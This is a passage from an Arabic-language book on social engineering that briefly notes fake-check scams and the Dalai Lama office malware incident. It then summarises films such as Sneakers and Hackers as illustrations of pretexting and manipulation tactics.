‫‪ 50،000 $- 10،000 $‬دوﻻر أﻣرﯾﻛﻲ ﻓﻲ اﻟﻌﻣﻠﯾﺔ‪ .‬ﻣﺎ ﯾﺟﻌل ھذه اﻟﻔﺿﯾﺣﺔ ﻣدھش ﺟدا‪ ،‬ﺣﺗﻰ أﻧﮫ ﻣن اﻟﻣﻣﻛن أن ﯾﻘدم وﺛﺎﺋﻖ رﺳﻣﯾﺔ‪،‬‬
‫وأوراق‪ ،‬وﺣﺗﻰ ﻣن اﻟﻣﻣﻛن ان ﯾﻘدم اﺟﺗﻣﺎﻋﺎت ﻣﻊ اﻟﺿﺣﯾﺔ‪.‬‬
‫ﻣؤﺧرا ﻗد ﺑرزت ﺑﻌض اﻷﺳﺎﻟﯾب اﻷﺧرى ﺣﯾث ﯾﻘوم ﺑﺈرﺳﺎﻟﮭﺎ ﺷﯾك ﻣﺻرﻓﻲ ﻟﻠﺿﺣﯾﺔ‪ .‬ﺣﯾث أن اﻟﻣﺣﺗﺎﻟﯾن ﯾﻘوﻣون ﺑﺗﻘدﯾم وﻋود ﻟﻠﺿﺣﯾﺔ ﺑﻣﺑﻠﻎ‬
‫ﺿﺧم ﻣن اﻟﻣﺎل وﯾرﯾد ﻓﻲ اﻟﻣﻘﺎﺑل ﺳوى ﺟزء ﺻﻐﯾر ﻟﻣﺎ ﺑذﻟوه ﻣن ﺟﮭود‪ .‬ﺣﯾث أن اﻟﮭدف ھو ﻧﻘل ﻣﺑﻠﻎ ﺻﻐﯾر ﻣﺛﻼ ‪ 10،000‬دوﻻر ﻣﻘﺎرﻧﺔ‬
‫ﺑﻣﺎ ﺳوف ﯾﺄﺧذه‪ ،‬وﻟﻛن اﻟﻣﺷﻛﻠﺔ ھﻧﺎ أن ھذا اﻟﺷﯾك اﻟذي ﯾﺄﺗﻲ ﻣﻐﺷوش وﻋﻧدﻣﺎ ﯾذھب اﻟﺿﺣﯾﺔ ﻟﺻرﻓﺔ ﻗد ﯾﻼﻗﻰ اﺗﮭﺎﻣﺎت ﺑﺎﻻﺣﺗﯾﺎل واﻟﻐراﻣﺎت‪،‬‬
‫ﻓﻲ ﺑﻌض اﻟﺣﺎﻻت‪.‬‬
‫‪The Dalai Lama and Social Engineering‬‬
‫أرادت ﻣﺟﻣوﻋﺔ ﻣن اﻟﻘراﺻﻧﺔ اﻟﺻﯾﻧﯾن اﻟوﺻول إﻟﻰ اﻟﺧوادم واﻟﻣﻠﻔﺎت ﻋﻠﻰ اﻟﺷﺑﻛﺔ اﻟﻣﻣﻠوﻛﺔ ﻟﻠداﻻي ﻻﻣﺎ‪ .‬ﻓﻣﺎ ھﻲ اﻟطرق اﻟﻣﺳﺗﺧدﻣﺔ ﻓﻲ ھذا‬
‫اﻟﮭﺟوم اﻟﻧﺎﺟﺢ؟‬
‫ﺣﯾث ﻗﺎم اﻟﻣﮭﺎﺟﻣﯾن ﺑﺈﻗﻧﺎع ﻣوظﻔﻲ اﻟﻣﻛﺎﺗب ﻓﻲ ﻣﻛﺗب اﻟداﻻي ﻻﻣﺎ ﻟﺗﺣﻣﯾل وﻓﺗﺢ اﻟﺑراﻣﺞ اﻟﺿﺎرة ﻋﻠﻰ أﺟﮭزﺗﮭم‪ .‬ھذا اﻟﮭﺟوم ﻣﺛﯾر ﻟﻼھﺗﻣﺎم‬
‫ﻷﻧﮫ ﯾﻣزج ﻛل ﻣن ﺗﻛﻧوﻟوﺟﯾﺎ اﻟﻘرﺻﻧﺔ واﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫ﯾﻣﻛﻧك اﻟﺣﺻول ﻋﻠﻰ ھذا اﻟﻣﻘﺎل ﻣن ﺧﻼل اﻟراﺑط اﻟﺗﺎﻟﻲ‪:‬‬
‫‪http://www.social-engineer.org/wiki/archives/Spies/Spies-DalaiLama.html‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪788‬‬

‫أﻣﺜﻠﺔ ﻣﻦ اﻟﺴﯿﻨﻤﺎ‬
‫أي ﻓﯾﻠم ﺳواء ﻛﺎن ﻣن ﺳﻠﺳﻠﺔ أﻓﻼم اﻟرﻋب أو اﻟﺣرﻛﺔ أو اﻹﺛﺎرة‪ ،‬ﻗد ﯾراه أي أﺣد ﻣن اﻟﻣﺗﺧﺻﺻﯾن ﻓﻲ ﻣﺟﺎل ﺗﻛﻧوﻟوﺟﯾﺎ اﻟﻣﻌﻠوﻣﺎت ﻛوﻣﯾدﯾًﺎ‬
‫ﻓﻲ إﺣدى ﻟﺣظﺎﺗﮫ وذﻟك ﻋﻧدﻣﺎ ﺗﺣدث أي ﻋﻣﻠﯾﺎت ﻗرﺻﻧﺔ ﻣرﻛزﯾﺔ أو ھﺟوم ﻓﯾروﺳﻲ أو أﯾﺔ أﺣداث ﻣﺗﻌﻠﻘﺔ ﺑﺎﻟﻛﻣﺑﯾوﺗر‪ .‬ﯾﻌرض اﻟﻣﺧرﺟون‬
‫اﻷذﻛﯾﺎء ھذا اﻟﺟزء ﻣن اﻷﺣداث ﻟﻔﺗرة وﺟﯾزة ﺟدًا‪ ،‬ﻣﻊ ﺗﺟﻧب أي إظﮭﺎر ﻟﺷﺎﺷﺔ اﻟﻛﻣﺑﯾوﺗر واﻟذي ﻗد ﯾﺗﺳﺑب ﻓﻲ ﺗﺷﺗﯾت اﻟﺟﻣﮭور وإﺑﻌﺎدھم ﻋن‬
‫ﺣﺑﻛﺔ اﻟﻔﯾﻠم اﻟدراﻣﯾﺔ‪ .‬وﻋﻠﻰ اﻟرﻏم ﻣن ﺣﻘﯾﻘﺔ أن ﻋﻣﻠﯾﺎت اﻟﻘرﺻﻧﺔ ﻋﺎدة ً ﻣﺎ ﺗﻛون ﺑﺷﻌﺔ وﻗد ﺗﺳﺗﻐرق أﯾﺎ ًﻣﺎ أو ﺣﺗﻰ أﺳﺎﺑﯾﻊ ﻟﯾﺗم اﻧﺟﺎزھﺎ‪ ،‬وھذا ﻣﺎ‬
‫ﯾدﻓﻌﻧﺎ إﻟﻰ أن ﻧوﻟﻲ اﺣﺗرا ًﻣﺎ أﻛﺛر ﻟﻣﻧﺗﺟﻲ ﺗﻠك اﻷﻓﻼم اﻟذﯾن اﺳﺗطﺎﻋوا أن ﯾﺻﻧﻌوا أﻓﻼ ًﻣﺎ ﺗﻌﺗﻣد ﺑﺷﻛ ٍل ﻛﺎﻣ ٍل ﻋﻠﻰ اﻟﻣواﺿﯾﻊ اﻟﻣﺗﻌﻠﻘﺔ ﺑﺎﻟﻛﻣﺑﯾوﺗر‬
‫واﻟﺷﺑﻛﺎت‪ ،‬وﯾﺧرﺟوﻧﮭﺎ ﺑﻣظﮭر ﺟﯾد‪ ،‬ﻣﻊ ﺗﺟﻧب اﻟﻛﺛﯾر ﺟدًا ﻣن اﻻﻧﺗﻘﺎدات اﻟﻣوﺟﮭﺔ ﻣن اﻟﻣﺣﺗرﻓﯾن ﻓﻲ ھذا اﻟﻣﺟﺎل‪.‬‬
‫‪) :Sneakers‬اﻟﻣﺗﺳﻠﻠون( ھذا اﻟﻔﯾﻠم ﺗم ﻋرﺿﮫ ﺳﻧﺔ ‪ 1992‬ﻟﻠﻣﺧرج ﻓﯾل أﻟدن روﺑﻧﺳون وھو ﯾﻌﺗﺑر ﻣﺛﺎل ﻣﻣﺗﺎز ﻟﺗﻘﻧﯾﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫اﻟﺷﺧﺻﯾﺔ اﻟرﺋﯾﺳﯾﺔ ﻣﺎرﺗن ﺑﯾﺷوب ﯾدﯾر ﺷرﻛﺔ ‪ Tiger Team2 style‬اﻟﻣﺗﺧﺻﺻﺔ ﻓﻲ ﻛﺳر اﻟﻧظم اﻷﻣﻧﯾﺔ‪ ،‬وذﻟك ﺑﮭدف ﻣﺳﺎﻋدة اﻟﻌﻣﻼء‬
‫ﻋﻠﻰ ﻧﺣو أﻓﺿل ﻟﻠدﻓﺎع ﺿد اﻟﮭﺟﻣﺎت اﻟﻣﻣﺎﺛﻠﺔ‪ .‬اﻟﻔرﯾﻖ ﺗم ﺗﻌﯾﻧﮫ ﻣن ﻗﺑل ﻣﺳؤوﻟﻲ اﻟﺣﻛوﻣﺔ وذﻟك ﻻﺳﺗرﺟﺎع ﺟﮭﺎز ﻏﺎﻣض "اﻟﺻﻧدوق اﻻﺳود"‬
‫ﻣن ﻋﺎﻟم اﻟرﯾﺎﺿﯾﺎت اﻟﺷﮭﯾر اﻟدﻛﺗور ﻏوﻧﺗر ﯾﺎﻧﯾك‪ .‬ﺣﯾث ﯾﻌﺗﻘدون ان اﻟﺟﮭﺎز ﺑﻧﻲ ﻟﻠﺣﻛوﻣﺔ اﻟﺳوﻓﯾﺗﯾﺔ اﻟﺳﺎﺑﻘﺔ واﻟوﻻﯾﺎت اﻟﻣﺗﺣدة ﺗﺷﻌر ﺑﺎﻟﻘﻠﻖ‬
‫ﺑﺄﻧﮭﺎ ﻗد ﺗﻛون ﻗﺿﯾﺔ أﻣن ﻗوﻣﻲ‪ .‬ﻣﺎرﺗن وﻓرﯾﻘﮫ اﺳﺗرداد اﻟﺟﮭﺎز‪ ،‬ﺣﯾث اﻛﺗﺷﻔوا أﻧﮫ ﻗﺎدر ﻋﻠﻰ ﻛﺳر أي ﻧظﺎم اﻟﺗﺷﻔﯾر ﻟﻠوﻻﯾﺎت اﻟﻣﺗﺣدة‪ .‬ﻣﺎرﺗن‬
‫أﻋطﻰ اﻟﺟﮭﺎز اﻟﻰ ﻣﺳؤوﻟﻲ اﻟﺣﻛوﻣﺔ وﻟﻛن ﺳرﻋﺎن ﻣﺎ أدرك أﻧﮭم ﻛﺎﻧوا ﻓﻲ ﺣﻘﯾﻘﺔ ﻣﺣﺗﺎﻟﯾن وأﺻﺑﺢ ھو وﻓرﯾﻘﮫ اﻣﺎم ﻣﮭﻣﮫ ﺻﻌﺑﮫ وھﻲ‬
‫اﻟﺣﺻول ﻋﻠﻰ اﻟﺟﮭﺎز ﻣرة أﺧرى ووﺿﻌﮫ ﻓﻲ ﯾد أﻣﻧﺔ‪.‬‬
‫اﻟﻣﺷﮭد ﺣﯾث ﯾﻘﺗرب ﻣن ﻣﺎرﺗن "ﻣﺳؤوﻟﻲ اﻟﺣﻛوﻣﺔ" وﯾطﻠب ﻣﻧﮫ ﺗﻧﻔﯾذ ﻣﮭﻣﺔ اﺳﺗرﺟﺎع ﺟﮭﺎز اﻟﺻﻧدوق اﻷﺳود ھو ﻣﺛﺎل ﻣﻣﺗﺎز ﻋﻠﻰ ﺗﻘﻧﯾﺎت‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﺗﻌددة‪ .‬اﻟﻣﺳؤوﻟﯾن اﻟﺣﻛوﻣﯾﯾن ھﻣﺎ ﻣﺣﺗﺎﻟﯾن‪ ،‬وﯾﻌﻣﻼ ﻓﻌﻼ ﻟﻣﻧظﻣﺔ إﺟراﻣﯾﺔ‪ .‬ﺧدع ﻣﺎرﺗن وﺷﺎرك ﻓﻲ ﻣؤاﻣرﺗﮭم ﻧﺗﯾﺟﺔ ﻋدد‬
‫ﻣن اﻟﻌواﻣل‪ .‬أوﻻ‪ ،‬اﺛﻧﯾن ﻣن اﻟﻣﺳؤوﻟﯾن ﯾﻣﺛﻼ ﺟﮭﺎت ھﺎﻣﮫ وھﻣﺎ ﻣﺳؤوﻟﻲ اﻟﺣﻛوﻣﺔ )‪ :(Pretext‬ﻟدﯾﮭم ﻣﺎ ﯾﺑدو ﻣن اﻻﻋﺗﻣﺎد واﻷوراق‬
‫اﻟﺻﺣﯾﺣﺔ واﻟﻣظﮭر اﻟﺗﻲ ﺗﺛﺑت اﻧﮭم ﻣن اﻟﺣﻛوﻣﺔ‪ ،‬اﻟﺗﺣدث ﻣﺛل ﻣﺳؤوﻟﻲ اﻟﺣﻛوﻣﺔ وﺣﺗﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺳوف ﯾﺳﺗﻘﺑﻠﮭﺎ ﻣﺎرﺗن ﻟن ﺗﻛون ﺳوى‬
‫ﻣن اﻟﺣﻛوﻣﺔ ﻓﻘط‪ .‬ﻛل ھذه ﻟﺗﺄﻛﯾد ﻣﺻداﻗﯾﺗﮭﺎ ﻟدى ﻣﺎرﺗن‪ ،‬اﻟﺻوت واﻟﺗﺻرف ﯾﺑدو ﺗﻣﺎﻣﺎ ﻣﺛل اﻟﻧﺎس اﻟذﯾن ﯾﺣﺎوﻟون اﻧﺗﺣﺎل ﺷﺧﺻﯾﺔ‪ .‬ﻛﻼھﻣﺎ‬
‫ﯾﺿﻐطﺎ ﻋﻠﻰ ﻣﺎرﺗن وﯾﺟﻌﻠﮫ ﯾرﻛز ﻋﻠﻰ اﻟﻣﮭﻠﺔ‪ :‬إﻣﺎ ﻣﺳﺎﻋدﺗﮭم أو ﻟدﯾﮭم اﻟﮭوﯾﺔ اﻟﺣﻘﯾﻘﯾﺔ ﻛوﻧﮫ ﻗرﺻﺎن ﻛﻣﺑﯾوﺗر ﺳوف ﯾﺳﺗﺧدم ﺿده‪ .‬ﻋﻧد اﻟﻘﯾﺎم‬
‫ﺑذﻟك ﻓﺄﻧﮭم ﻗد ﺗﻼﻋﺑوا ﺑﻧﺟﺎح ﺑﻣﺎرﺗن ﻓﻲ اﻟﻣواﻓﻘﺔ ﻋﻠﻰ ﻣﺳﺎﻋدﺗﮭم‪ ،‬ﻓﻲ ﻛل وﻗت ﻗﺎﻣوا ﺑﺈﺑﻘﺎء اﻧﺗﺑﺎھﮫ ﺛﺎﺑت ﻋﻠﻰ وﺿﻊ ﻻ ﯾدع ﻣﺟﺎﻻ ﻟﻠﺷك ﺿد‬
‫ھوﯾﺎﺗﮭم اﻟﻔﻌﻠﯾﺔ‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن اﻷداء اﻟﺗﻘﻠﯾدي اﻟﻣﻣﺎﺛل ﻣرات ﻻ ﺗﺣﺻﻰ‪ ،‬ﻓﺎن ﻣﺎرﺗن ﯾﻘﻊ ﻟﻌﻣﻠﯾﺔ اﺣﺗﯾﺎل‪ .‬ﻋﻧﺻر اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣن ھذا‬
‫اﻟﻣﺷﮭد ھو ﻣزﯾﺞ ﻣن اﻟﺗﻣﺛﯾل‪ ،‬واﺧﺗﯾﺎر اﻟﻛﻠﻣﺎت وﻣﮭﺎرة ﺗوﺟﯾﮫ اﻟﺿﺣﯾﺔ إﻟﻰ اﻟﺗرﻛﯾز ﻋﻠﻰ اﻟﻌﻧﺎﺻر اﻟﺻﺣﯾﺣﺔ‪ .‬ﻟﻛﻲ ﯾﺣﻘﻖ ﻣﺎرﺗن ھدﻓﮫ ﻓﺎﻧﮫ‬
‫ﯾﺣﺗﺎج ﻻﻗﺗﺣﺎم اﻟﻣﺑﻧﻰ اﻟذي ﯾﻘﻊ ﻓﯾﮫ اﻟﺻﻧدوق اﻻﺳود‪ ،‬وذﻟك ﻋن طرﯾﻖ اﻟوﺻول ﻣن ﺧﻼل اﻻﺳﺗﻘﺑﺎل‪ .‬ﻣرة أﺧرى‪ ،‬ﯾﺗم ذﻟك ﻋن طرﯾﻖ اﺳﺗﺧدام‬
‫ﺗﻘﻧﯾﺔ أﻛﺛر ﻣن ﺗﻘﻧﯾﮫ واﺣده ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬واﺣد ﻣن أﻋﺿﺎء اﻟﻔرﯾﻖ ﯾﻘﺗرب ﻣن ﻣوظف اﻻﺳﺗﻘﺑﺎل ﻣدﻋﯾﺎ أن ﻟدﯾﮫ ﺗﺳﻠﯾم ﻟﯾﺄﺧذه اﻟﻰ‬
‫اﻟداﺧل‪ .‬ﻣوظف اﻻﺳﺗﻘﺑﺎل ﯾرﻓض اﻟﺳﻣﺎح ﻟﮭم ﺑﺎﻟدﺧول ﻓﯾﺳﺗﻣر أﻋﺿﺎء اﻟﻔرﯾﻖ ﻓﻲ ﻣﺣﺎوﻟﺔ ﻹﻗﻧﺎع ﻣوظف اﻻﺳﺗﻘﺑﺎل ﻟﺟﻌﻠﮭم اﺳﺗﺛﻧﺎء‪ ،‬ﻣدﻋﯾﺎ أﻧﮭم‬
‫ﻗد ﯾﻔﻘدوا وظﺎﺋﻔﮭم‪ .‬ھذا ھو ﺑﺎﻟﻔﻌل ﻣﺣﺎوﻟﺔ ﻻﺳﺗدﻋﺎء اﻟذﻧب ﻓﻲ اﻟﮭدف ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﺟﻌﻠﮭﺎ ﺗﻣﺗﺛل‪ .‬ﻓﻲ ﻧﻔس اﻟوﻗت‪ ،‬ﯾﻘﺗرب ﻣﺎرﺗن ﻣن ﻣﻛﺗب‬
‫اﻻﺳﺗﻘﺑﺎل وﯾﺳﺄل ﻣﺎ إذا ﻛﺎن ﯾﻣﻛن ﺗﺳﻠﯾم زوﺟﺗﮫ اﻟﻛﻌﻛﺔ‪ ،‬وﯾﺷﯾر إﻟﻰ اﻟطﺎﺑﻖ اﻟﺛﺎﻧﻲ ﻣن اﻟﻣﺑﻧﻰ‪ .‬اﻟﻐرض ﻣن ذﻟك ھو زرع ﺑذرة ﻣن اﻟﻣﺻداﻗﯾﺔ‬
‫ﺑﯾﻧﻣﺎ ﯾﺻرف اﻧﺗﺑﺎه ﻣوظف اﻻﺳﺗﻘﺑﺎل‪ .‬ﻣوظف اﻻﺳﺗﻘﺑﺎل ﯾﻌود إﻟﻰ اﻟﻣﺟﺎدﻟﺔ ﻣﻊ ﺳﺎﺋﻖ اﻟﺗﺳﻠﯾم‪ .‬ﻣﺎرﺗن ﯾﺣﻣل اﻟﻛﻌﻛﺔ واﻟﺑﺎﻟوﻧﺎت‪ ،‬وﯾﺳﺄل ﻣوظف‬
‫اﻻﺳﺗﻘﺑﺎل ﻟﻸﻓراج ﻋن آﻟﯾﺔ اﻟﻘﻔل ﺣﯾث اﻧﮫ ﻻ ﯾوﺟد ﻟدﯾﮫ أﯾدي ﻓرﻏﮫ ﻻﺳﺗرداد ﺑطﺎﻗﺗﮫ )ﺑطﺎﻗﺔ ﻟم ﺗﻛن ﻟدﯾﮫ(‪ .‬ﻣوظف اﻻﺳﺗﻘﺑﺎل ﯾﺷﺗت ﻣن ﻗﺑل‬
‫ﻣوظف اﻟﺗﺳﻠﯾم‪ ،‬ﻣﺎرﺗن ﯾﺻرخ ﻓﻲ ﻣوظف اﻻﺳﺗﻘﺑﺎل "ﻟدﻓﻊ اﻟﺟرس اﻟﻠﻌﯾن!" ﺑﺎﻟطﺑﻊ ﻣوظف اﻻﺳﺗﻘﺑﺎل ﻋﻠﻰ اﻟﻔور ﯾﻔﻌل ذﻟك ھرﺑﺎ ﻣن اﻟوﺿﻊ‬
‫اﻟﻣﺟﮭدة ﺑﺷﻛل ﻣﺗزاﯾد‪ .‬أﻋﺿﺎء اﻟﻔرﯾﻖ اﺛﻧﯾن ﻣﻊ اﻧﺗﺣﺎل ﺷﺧﺻﯾﺎت ﻣﺧﺗﻠﻔﺔ واﻟﮭدف ﻣن اﻟﺳﯾﻧﺎرﯾو ھو اﻹرﺑﺎك‪ ،‬واﻟﺗﻼﻋب ﺑﮫ ﻟﻔﺗﺢ اﻟﺑﺎب أﻣﺎم‬
‫ﻣﺎرﺗن‪ .‬اﻟﻣوﻗف أو اﻟﺳﯾﻧﺎرﯾو اﻟﻣﻌﻘول ﺗﻣﺎﻣﺎ أن اﻟﻧﺗﯾﺟﺔ ھﻲ ﺧرق اﻷﻣن دون أن ﯾﻌﻠم أﺣد‪ .‬ﻟم ﯾﺟﺑر ﻣوظف اﻻﺳﺗﻘﺑﺎل ﻓﻲ اﻟﻘﯾﺎم ﺑﺷﻲء ﯾﻌرف‬
‫اﻧﮫ ﺳﯾؤدي إﻟﻰ ﺧرق ورﺑﻣﺎ ﻟم ﯾدرك ﻣﺎ ﻓﻌﻠوه‪ .‬ﻣن وﺟﮭﺔ ﻧظر ﻣوظف اﻻﺳﺗﻘﺑﺎل‪ ،‬ﺳﯾﻛون ﻣﺎرﺗن ﺗﻣﻛﻧوا ﻣن اﻟوﺻول ﻓﻲ أي ﺣﺎﻟﺔ أﺧرى‪ .‬ھذا‬
‫ﺧﻠﻖ وﺿﻌﺎ ﻣﻌﻘوﻻ ﻣﺿﯾﻔﺎ ﻓﻲ ﻋﻧﺎﺻر اﻟﺗﻣﺛﯾل واﻟﺗﻼﻋب اﻟﻌﺎطﻔﻲ ھو ﻣﺛﺎل راﺋﻊ ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ اﻟﻌﻣل‪.‬‬
‫‪) :Hackers‬ﻗراﺻﻧﺔ اﻻﻧﺗرﻧت( ﻓﯾﻠم ﻣن اﻧﺗﺎج ﺳﻧﺔ ‪ 1995‬ﻟﻠﻣﺧرج إﯾﺎن ﺳوﻓﺗﻠﻲ‪ .‬ﺗﺟﻧب ﺻﺎﻧﻌو ھذا اﻟﻔﯾﻠم ﻋرض ﻋﻣﻠﯾﺎت اﻟﻘرﺻﻧﺔ ﻓﻲ ﻣﻌظم‬
‫اﻟوﻗت‪ .‬ﻓﻘد ﻗﺎﻣوا ﺑﻌرض اﻟﻛﺛﯾر ﻣن اﻟﻣﺷﺎھد اﻟﺗﻲ ﺗﺣﺎﻛﻲ ﻟﻌﺑﺔ إطﻼق اﻟﻧﺎر اﻟﺳرﯾﻊ ‪ rapid-fire‬ﻋن طرﯾﻖ اﻟﺿﻐط ﻋﻠﻰ ﻟوﺣﺔ اﻟﻣﻔﺎﺗﯾﺢ وﺑﻌض‬
‫اﻟﺻور اﻟﻣﺟردة‪ ،‬وﻻ ﺷﻲء أﻛﺛر ﻣن ذﻟك‪ .‬ﺗم ﻋرض اﻟﻛﺛﯾر ﻣن ﻋﻣﻠﯾﺎت اﻟﻘرﺻﻧﺔ ﺑﺻورة ﻣﻣﻛن ﺣدوﺛﮭﺎ وﺟﺎءت ﻟﻐﺔ اﻟﻘرﺻﻧﺔ واﻗﻌﯾﺔ ﺑﺷﻛ ٍل‬
‫ﻛﺑﯾر‪ :‬إن وﺟود ﻛﺗب أﻧظﻣﺔ ﯾوﻧﻛس‪ ،‬وﻛﻠﻣﺎت ﻣرور ﺿﻌﯾﻔﺔ وﻣواﺿﯾﻊ ﻣﻣﺎﺛﻠﺔ‪ ،‬ﺗظﮭر ﺑوﺿوح أن ﻣﺧرج اﻟﻌﻣل وﻣؤﻟﻔﮫ ﻗد ﻗﺿوا اﻟﻛﺛﯾر ﻣن‬
‫أﻣرا ﻣﻣﻼً‪.‬‬ ‫اﻟوﻗت ﻟﻠﺗﻌرف ﻋﻠﻰ اﻟطرق اﻟﺗﻲ ﺗﺗم ﺑﮭﺎ ﻋﻣﻠﯾﺎت اﻟﻘرﺻﻧﺔ‪ .‬ﯾﺑدو أﻧﮭم اﻋﺗﻘدوا أن ﺗﻘدﯾم ﻋﻣﻠﯾﺎت اﻟﻘرﺻﻧﺔ ﺑﺻورة واﻗﻌﯾﺔ ﻗد ﯾﻛون ً‬
‫ﺗﺑدأ ﻗﺻﺔ اﻟﻔﯾﻠم ﻣﻊ اﻋﺗﻘﺎل دﯾد ﻣﯾرﻓﻲ اﻟﺑﺎﻟﻎ ﻣن اﻟﻌﻣر ‪ 11‬ﻋﺎﻣﺎ )اﻟﻣﻠﻘب ﺒ ‪ .(aka Zero Cool‬اﺗﮭم دﯾد ﺑﻛﺗﺎﺑﺔ ﻓﯾروس ﻟﻠﻛﻣﺑﯾوﺗر ﺗﺳﺑب ﻓﻲ‬
‫ﺗﻌطﯾل ‪ 1507‬ﻣن أﺟﮭزة اﻟﻛﻣﺑﯾوﺗر واﻧﺧﻔﺎض ﺳﺑﻊ ﻧﻘﺎط ﻓﻲ ﺑورﺻﺔ ﻧﯾوﯾورك‪ .‬ﺑﻌد اﻋﺗﻘﺎﻟﮫ ﺣظر دﯾد ﻣن اﺳﺗﺧدام اﻟﻛﻣﺑﯾوﺗر ﺣﺗﻰ ﻋﯾد ﻣﯾﻼده‬
‫‪ .18‬اﻧﮫ ﻣﻊ ﻣﺟﻣوﻋﺔ ﻣن اﻟﻣﺗﺳﻠﻠﯾن اﻛﺗﺷﻔوا ﻣؤاﻣرة ﻹطﻼق ﺳراح ﻓﯾروس ﻛﻣﺑﯾوﺗر ﺧطﯾر ﻟﻠﻐﺎﯾﺔ‪ .‬ﻋﺑﻘرﯾﺔ اﻟﻛﻣﺑﯾوﺗر وراء ھذه اﻟﻣؤاﻣرة‬
‫اﻟﺷرﯾرة ﻟوﺿﻊ اﻟﺗﮭﻣﮭم ﻋﻠﻰ اﻟﻘراﺻﻧﺔ ﺣﯾث أﻧﮭم ﻗﺎﻣوا ﺑﺟﻣﻊ اﻷدﻟﺔ ﻟﺗﺑرﺋﺔ ﺳﺎﺣﺗﮭم‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪789‬‬

‫ﻓﯾﻠم "اﻟﻘراﺻﻧﺔ" ھو ﻣﻧﻣﻖ ﺑﺎﻟﺗﺄﻛﯾد‪ ،‬واﻟﺗﻲ ﺗﺑﯾن ﺳﯾﻧﺎرﯾوھﺎت ﻏﯾر واﻗﻌﯾﺔ ﺑﻌﻧف ﻣﻊ أﺧطﺎء ﻓﻧﯾﺔ ﻻ ﺗﻌد وﻻ ﺗﺣﺻﻰ وﻣﺑﺎﻟﻐﺎت‪ .‬وﻣﻊ ذﻟك‪ ،‬ﻓﺈن‬
‫اﻟﻔﯾﻠم ﯾﺣﺗوي ﻋﻠﻰ ﺑﻌض اﻷﻣﺛﻠﺔ اﻟراﺋﻌﺔ ﻟﻣﻧﮭﺟﯾﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﻣﺳﺎﻋدة اﻟﮭﺟﻣﺎت ﺿد اﻟﻧظم اﻟﺗﻘﻧﯾﺔ‪.‬‬
‫‪) :Matchstick Men‬رﺟﺎل ﻋود اﻟﺛﻘﺎب( ﻓﯾﻠم ﻣن اﻧﺗﺎج ‪ 2003‬ﻟﻠﻣﺧرج رﯾدﻟﻲ ﺳﻛوت‪ .‬ﺗدور أﺣداث اﻟﻔﯾﻠم ﺣول ﻧﺻﺎب ﻣﺣﺗﺎل ﯾدﻋﻲ روي‬
‫"ﻧﯾﻛوﻻس ﻛﯾدج" وﺷرﯾﻛﮫ ﻓراﻧك ‪ ،‬ﯾواﺻﻼن اﻟﻧﺻب ﻋﻠﻰ اﻷﺷﺧﺎص اﻟﻐﺎﻓﻠﯾن ﺑطرق ذﻛﯾﺔ وﻓﻧﯾﺔ ﺟدا ‪ ،‬وﻣن ﺟﮭﺔ أﺧري ﻓﺈن ﺣﯾﺎة روي‬
‫اﻟﺧﺎﺻﺔ ﻓﺎﺷﻠﺔ ﺟدا ‪ ،‬وﯾﻔﺎﺟﺄ ﺑﺄن اﺑﻧﺗﮫ ﺗﺑﺣث ﻋﻧﮫ ﻟﺗﻌﯾش ﻣﻌﮫ ﺑﻌﯾدا ﻋن واﻟدﺗﮭﺎ اﻟﻘﺎﺳﯾﺔ ﻟﺗﺟد اﻟﺣﻧﺎن واﻟﺣب واﻻﺣﺗواء ﻋﻧد واﻟدھﺎ ‪ ،‬ﻓﯾﺟد واﻟدھﺎ‬
‫ﺑﺄن ﻟدﯾﮭﺎ ﻣﺷﺎﻛل وأﻓﻛﺎر ﻛﺛﯾرة ‪ ،‬ﺗﻌرف اﺑﻧﺗﮫ ﺑﺄن واﻟدھﺎ ﻣﺣﺗﺎل وأرادت ﻣﺳﺎﻋدﺗﮫ ﻓﻲ ذﻟك وﻟﻛن رﻓض روي ﻓﻲ ﺑداﯾﺔ اﻷﻣر ﺧوﻓﺎ ﻋﻠﯾﮭﺎ‬
‫وﻟﺻﻐر ﺳﻧﮭﺎ ‪ ،‬وﻟﻛﻧﮭﺎ ﺗﺷﺎرﻛﮫ ﻣﮭﻣﺔ وﯾﺟدھﺎ ذﻛﯾﺔ ﺟدا ‪ ،‬وﺗﺑدأ ﻋﻼﻗﺗﮭﻣﺎ ﻓﻲ ﺗﺣﺳن وارﺗﺑﺎط ‪ ،‬وﻗرر روي اﻻﺑﺗﻌﺎد ﻋن ﻣﮭﻧﺔ اﻟﻧﺻب واﻻﺣﺗﯾﺎل‬
‫وأن ﯾﺟد ﻋﻣﻼ ﺑﻧﺎءا ﻋﻠﻰ طﻠب اﺑﻧﺗﮫ ‪ ،‬وﺑﺎﻟﻔﻌل اﺳﺗﻐﻧﻲ روي ﻋن ﺗﻠك اﻟﻣﮭﻧﺔ ‪ ،‬ووﺟد ﻋﻣﻼ ﺑﺳﯾطﺎ ﻟﯾﺑدأ ﺣﯾﺎة ﺟدﯾدة ﻣﻊ اﺑﻧﺗﮫ‪.‬‬
‫‪ :Dirty Rotten Scoundrels‬ﻓﻠم ﻣن اﻧﺗﺎج ‪ 1988‬ﻟﻠﻣﺧرج ﻓراﻧك أوز‪ .‬وﺗدور ﻗﺻﺔ اﻟﻔﻠم ﺣول ﻣﻧﺎﻓﺳﺔ ﻛوﻣﯾدﯾﺔ ﺑﯾن رﺟﻠﯾن اﻻﺣﺗﯾﺎل‪.‬‬
